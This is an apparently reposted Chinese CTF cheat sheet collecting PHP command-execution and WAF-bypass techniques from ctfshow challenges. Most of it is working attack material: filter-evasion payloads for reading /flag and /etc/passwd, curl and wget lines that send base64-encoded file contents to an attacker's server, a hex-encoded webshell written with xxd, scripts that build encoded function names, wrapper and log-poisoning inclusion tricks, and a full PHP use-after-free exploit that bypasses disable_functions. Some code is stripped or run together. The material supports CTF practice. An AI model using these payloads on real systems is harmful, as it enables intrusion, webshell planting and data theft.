本文共 14277 字,大约阅读时间需要 47 分钟。
本文用于积累平时做题中遇到的命令执行题目的解法,有许多解题方法都是直接用的各位师傅的wp或总结中的解法,并且遇到了没有记录的方法会随时添加。
因为此部分内容太多,如有写的不好的地方请指正。
1,代替
more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容sh /flag 2>%261 //报错出文件内容
2,使用转义符
ca\t /fl\agcat fl''ag
3,内联执行绕过
拼接flag1;a=fl;b=ag.php;cat$IFS$a$b
(假设该目录下有index.php和flag.php)cat `ls` 等同于-->cat flag.php;cat index.php
4,变量绕过
a=c;b=a;c=t;$a$b$c 1.txt
5,编码进制绕过
[root~]# echo 'cat' | base64Y2F0wqAK[root~]# `echo 'Y2F0wqAK' | base64 -d` 1.txthello world
16进制
8进制
6,过滤文件名绕过(例如过滤/etc/passwd文件)
1) 利用正则匹配绕过[root~]# cat /???/pass*2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过[root~]# cat /etc$u/passwd备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)
7,命令执行函数system()绕过
“\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);
(sy.(st).em)(whoami);
使用内敛执行代替system
echo `ls`;echo $(ls);?>
8,使用$*
和$@
,$x
,${x}
注:因为在没有传参的情况下,上面的特殊变量都是为空的
9,读取文件骚姿势
curl file:///flagstrings /flaguniq -c/etc/passwdbash -v /etc/passwdrev /etc/passwd
dir与ls的升级版
find -- 列出当前目录下的文件以及子目录所有文件
cat%09flag.php
)cat<>/flag
)cat</flag
)例;
例:
采用多个管道命令即可
;cd flag_is_here;cat *
1,可以使用%0a
代替,%0a其实在某种程度上是最标准的命令链接符号
功能 | 符号 | payload |
---|---|---|
换行符 | %0a | ?cmd=123%0als |
回车符 | %0d | ?cmd=123%0dls |
连续指令 | ; | ?1=123;pwd |
后台进程 | & | ?1=123&pwd |
管道 | | | ?1=123|pwd |
逻辑运算 | ||或&& | ?1=123&&pwd |
; //分号| //只执行后面那条命令|| //只执行前面那条命令& //两条命令都会执行&& //两条命令都会执行
2,?>
代替;
在php中可以用?>
来代替最后一个;
因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
这道题过滤了分号,直接用?>来代替分号
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
root@kali:~/桌面# echo "flag{hahaha}" > flag.txtroot@kali:~/桌面# touch "ag"root@kali:~/桌面# touch "fl\\"root@kali:~/桌面# touch "t \\"root@kali:~/桌面# touch "ca\\"root@kali:~/桌面# ls -t'ca\' 't \' 'fl\' ag flagroot@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中root@kali:~/桌面# sh aa: 1: a: not foundflag{ hahaha}a: 6: flag.txt: not found
\
是指换行
ls -t
将文件按时间排序输出 sh
命令可以从一个文件中读取命令来执行 一,shell_exec等无回显函数。
判断:
ls;sleep(3)
利用:
1,复制,压缩,写shell等方法
copy flag.php 1.txtmv flag.php flag.txtcat flag.php > flag.txttar cvf flag.tar flag.phptar zcvf flag.tar.gz flag.phpecho 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.phpecho " " > webshell.php
然后访问1.txt等对应生成的文件,例:
2、在vps上建立记录脚本
在自己的公网服务器站点根目录写入php文件,内容如下:
record.php在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://*.*.*.**/record.php?data=`cat flag.php|base64`wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
3,通过http请求/dns请求等方式带出数据
利用:
curl `命令`.域名
例:
#用
更多方法参考:
二,>/dev/null 2>&1
例题:ctfshow-web入门42
/dev/null 2>&1");}else{ highlight_file(__FILE__);}
>/dev/null 2>&1主要意思是不进行回显的意思
; //分号| //只执行后面那条命令|| //只执行前面那条命令& //两条命令都会执行&& //两条命令都会执行
payload:
cat flag.php|| cat flag.php;
思路:取反 ~,异或 ^,或运算 |
羽大佬的总结:
取反:
$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=system&___=cat flag.php$_=~%A0%B8%BA%AB;${$_}[_](${$_}[__]);&_=system&__=dir$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST['a']);//蚁剑连接
用php生成;
php(代码用空格隔开):
//Author: 颖奇L'Amore $value) { echo "%".dechex(ord($value)^0xff);}echo "^";foreach ($arr as $key => $value) { echo "%ff";}?>
用python
#Author: piCEBDC7str_= 'system'str_=list(str_)final=''for x in str_: print(hex(~ord(x)&0xff)) final+=hex(~ord(x)&0xff)print(str_)final = final.replace('0x','%')final+='^'for x in range(len(str_)): final+=r'%ff'print(final)
或运算:
示例:ctfshow-web41
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
题解:
脚本:
import reimport requestsimport urllibfrom sys import *import oscontent = ''preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'for i in range(256): for j in range(256): if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)): k = i | j if k>=32 and k<=126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) content += (chr(k) + ' '+ a + ' ' + b + '\n')f = open('rce_or.txt', 'w')f.write(content)if (len(argv) != 2): print("=" * 50) print('USER:python exp.py') print("eg: python exp.py http://ctf.show/") print("=" * 50) exit(0)url = argv[1]def action(arg): s1 = "" s2 = "" for i in arg: f = open("rce_or.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) data = { 'c': urllib.parse.unquote(param) } r = requests.post(url, data=data) print("\n[*] result:\n" + r.text)
使用方法:
python3 exp.py 题目地址
使用不需要括号的函数
echo `cat /flag`
require '/flag'
include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
2,不需要引号和空格
#
更多无参数rce方法:
print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv())));
注:pos(localeconv())等于.
print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));highlight_file(next(array_reverse(scandir(pos(localeconv())))));
常用payload:
echo `ls`;echo $(ls);?>
将``或$()内命令的输出作为输入执行
单独写了一篇文章:
单独写了一篇文章:
例题:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter/convert.base64-encode/resource=index.php
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://text/plain;base64
读php文件源码:
data:text/plain,
或者命令执行:
data:text/plain,
这些没怎么用到过,记得可以用在文件上传上面,把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件。
payload如下:
index.php?file=phar://uploads/ok.zip/ok.php
这道题也可以用到这个协议
?file=compress.zlib://flag.php
以ctfshow中一题为例:
先读取日志文件,发现可以读取
file=/var/log/nginx/access.log
然后尝试让日志包含一句话。(看日志里记录了什么信息,然后更改对应信息来写入)
接下来抓包修改UA中的内容
例题:ctfshow-web39
c=data:text/plain,
单独写了一篇博客:
?url=file:///var/www/html/flag.php
一些本小白完全想不到的解法,统一放到这个地方,当做一种积累把。
原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。如图:一些常用工具所在目录:
/bin/cat
/bin/base64 flag.php
:base64编码flag.php的内容。
/usr/bin/bzip2 flag.php
:将flag.php文件进行压缩,然后再将其下载。
… … 等等
例题:ctfshow-web入门55
|\
主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。
payload1:
/???/????64 ????.??? #/bin/base64 flag.php
payload2:
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php
然后下载flag.php.bz2
用法:
grep { flag.phpgrep { f???????
打印flag.php
中含有{
的行。
例题:ctfshow-web入门54
|\
过滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。
payload:
grep${IFS}f${IFS}fla?.php
打印flag.php
中有f
的行
例题:ctfshow-web入门57
|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); }}else{ highlight_file(__FILE__);}
需要传数字36进去,但是过滤了数字。
$(())=0$((~$(())))=-1
构造过程:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
例题:ctfshow-web入门72
题目进去就是这样的:
给了源码文件如下:
你要上天吗?
这道题有严格的disable_function限制和open_basedir限制。
先利用glob://伪协议绕过open_basedir,发现根目录下有flag0.txt
payload:
c=?> __toString().' ');}exit(0);?>
然后用uaf脚本读取flag。
disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行,原理是啥我也很懵。
最后输入要执行的命令即可。
c=function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit();}ctfshow("cat /flag0.txt");ob_end_flush();#需要通过url编码哦
该方法使用php类来绕过,可以配置disable_classes来禁用类。
读目录
$a=new DirectoryIterator("glob:///*");foreach($a as $f){ echo($f->__toString().' ');};
读文件
try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) { echo($row[0])."|"; } $dbh = null;} catch (PDOException $e) { echo $e->getMessage(); die();}
注:必须要有PDO拓展,里面的连接数据根据情况进行更改。
该方法来自:
一, 利用 FilesystemIterator 获取指定目录下的所有文件
例题:ctfshow-web110payload:
?v1=FilesystemIterator&v2=getcwd
例题:ctfshow-web109
payload:
?v1=Exception&v2=system('cat *') ?v1=Reflectionclass&v2=system('cat *')
转载地址:http://umug.baihongyu.com/